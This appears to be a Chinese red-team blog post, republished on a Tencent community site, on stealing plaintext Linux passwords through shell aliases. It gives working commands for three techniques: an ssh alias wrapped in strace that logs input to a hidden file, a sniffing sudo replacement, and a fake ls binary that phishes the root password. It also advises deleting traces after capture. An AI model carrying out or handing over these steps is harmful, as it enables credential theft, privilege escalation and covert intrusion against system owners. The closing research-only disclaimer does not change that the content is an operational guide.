基于 linux别名特性 所衍生出的各种密码窃取手法

0x01 借用strace跟踪当前用户的ssh进程数据以此捕获所输入的各类明文密码

此方式常用于内网linux机器间的横向移动,用法倒是很简单,此处直接以root身份进行操作,在当前用户的环境变量下添加一条如下的别名[意思就是把抓取到的ssh进程数据放到指定系统临时目录下的指定文件中]

下面是涉及到strace的两个选项用途说明[其实它本身是一个专门用来跟踪系统调用,排查系统故障的工具]:

-o 把strace的输出全部放到指定文件中

-s 指定输出的长度,此处给的比较大

-e 指定要跟踪那些系统调用或信号,最好不要指定,一律全部跟踪

如果目标机器上压根没有strace和相应的c编译器,就要自己想办法装一下了,后面都要用到,此处务必注意,在改别人机器上的任何配置文件之前,先备份下,万一改错了还有的恢复,不然一出问题就尴尬了

# yum install strace gcc -y

# cd

# cp .bashrc /var/tmp/.bashrc.bak

# vi ~/.bashrc

alias ssh='strace -o /var/tmp/.syscache-`date +'%Y-%m-%d+%H:%m:%S'`.log -s 4096 ssh'

# cat ~/.bashrc

而后保存关闭重启环境变量,记得一定要重启环境变量[或者直接注销当前用户,重新登录也行],别名才能生效,接着用ssh尝试登陆远程linux主机

# source ~/.bashrc

最后,到我们之前指定的目录下,即可看到生成的数据文件,用grep把里面捕捉到的各种密码数据提取下即可,如下

# grep "read(4" /var/tmp/.syscache-2018-11-06+04\:11\:17.log

0x02 记录当前用户在执行sudo操作时所键入的各种明文密码

图省事儿,此处就直接用别人写好的程序,虽然用c写的,但代码非常简单,一看就懂,关键的一段如下,接收用户三次输入的[次数可以在前面自定义]密码数据,然后把它存到指定的文件中[存放路径也可以在前面自定义]

此方式常用于截获指定的sudo用户在执行sudo操作时所键入的明文密码,有了sudo用户的密码,也就相当于拿到了机器的root权限,实际上是一种变向的linux提权方式

$ unzip sudo_sniff.zip

$ cd sudo_sniff/

$ make

$ mv sudo /var/tmp/.sudo

$ cd

$ vi .bashrc

如下,当我们用sudo去执行一些特权命令时提示输入的密码就已经被记录到指定的文件中了

$ source .bashrc

$ sudo ifconfig

$ cat /tmp/.syscache.log

0x03尝试劫持系统的ls命令来钓取当前用户所键入的明文密码

以下代码完全是参照fakesu.c做了些许的改动,非常简单就不多说了,程序此处只针对root用户,大家可以根据自己的实际情况来改

假设你当前运气比较好,通过exp溢出提权成功后,拿到了root的密码hash但又死活解不出来,而此时又想直接用root ssh到目标机器上去做些后续操作,这样的情况下,不妨可以考虑用这种方式来记录root的明文密码,当然啦,对于那种直接用key登录的ssh,这种方式无效,如果只支持key登录,那又该是别的话题了,此处暂不做过多涉及,注意,此处环境变量的的配置文件,在不同的linux发行版中[centOS和ubuntu就是有区别的],命名可能不太一样,大家要根据自己的实际情况来改下,具体用法如下

# cd

# gcc -o .ls evil.c; rm -rf evil.c

# mv .ls /var/tmp/.ls

# cp /etc/bashrc /etc/bashrc.bak

# echo "alias ls=/var/tmp/.ls" >> /etc/bashrc

# source /etc/bashrc

当我们再次执行ls时,就会弹出一个像模像样的错误,要求输入密码,其实它本质就是个钓鱼交互,此处不管密码是对是错,也就只会记录这一次,而后环境变量配置会被回复原样,ls正常执行,如下

至此,关于如何利用linux的别名特性来搜集内网密码就暂时先到这里了,如果你非要问我别名是什么,实在抱歉,只能建议你还是稍微先补下linux基础

以上涉及到的所有代码文件现已推到自己的github上,请自行获取,如果觉得还不错的话,请记得随手打☆,非常感谢

https://github.com/klionsec/keylogger-myself

一点小结:

实际操作时,注意你当前用户身份和系统环境环境变量配置文件位置,要根据自己的实际情况改一下,一旦成功记录到自己想要的密码后,记得马上把系统配置恢复原样,把该删的一些隐藏文件,都通通删干净,自己在系统中改过什么东西,心里一定要有数,手要尽量利索些,关于linux下的搜集密码这也只是其中一种而已,不管你是把它理解成键盘记录也好,劫持也罢,我们的最终目的无非就是想拿到一个有价值的密码而已,个人还是更习惯把这些都统称为内网密码搜集,以后的文章会尽量的简短,不然看着也确实挺累的,更多更优秀更隐蔽的手法,也非常欢迎大家来自己的密圈一起多多交流讨论,非常感谢

注: 写文不易,公众号之外的转载请务必通过此公众号事先与作者本人联系并严格声明文章出处,非常感谢 !

另:本公众号的所有文章仅作攻防研究学习之用,严禁私自用所学技术去从事一切未经合法授权的入侵攻击破坏活动,因此所产生的一切不良后果与本文作者及该公众号无关

更多更优质的原创精品实用技术干货分享,和众多资深apt及红队玩家一起深度无缝交流,欢迎微信扫码加入个人小密圈,另外,关于本文完整pdf原件现也已共享到自己密圈中,我们会在那里一直等你

更多优质的公开技术分享,欢迎关注个人公众号 "红队攻防揭秘",另,同时欢迎大家的无私 转发 , 打赏 , 点赞 与 留言, 非常感谢

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20181107G1EUFZ00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 yunjia_community@tencent.com 删除。

扫码关注云+社区

领取腾讯云代金券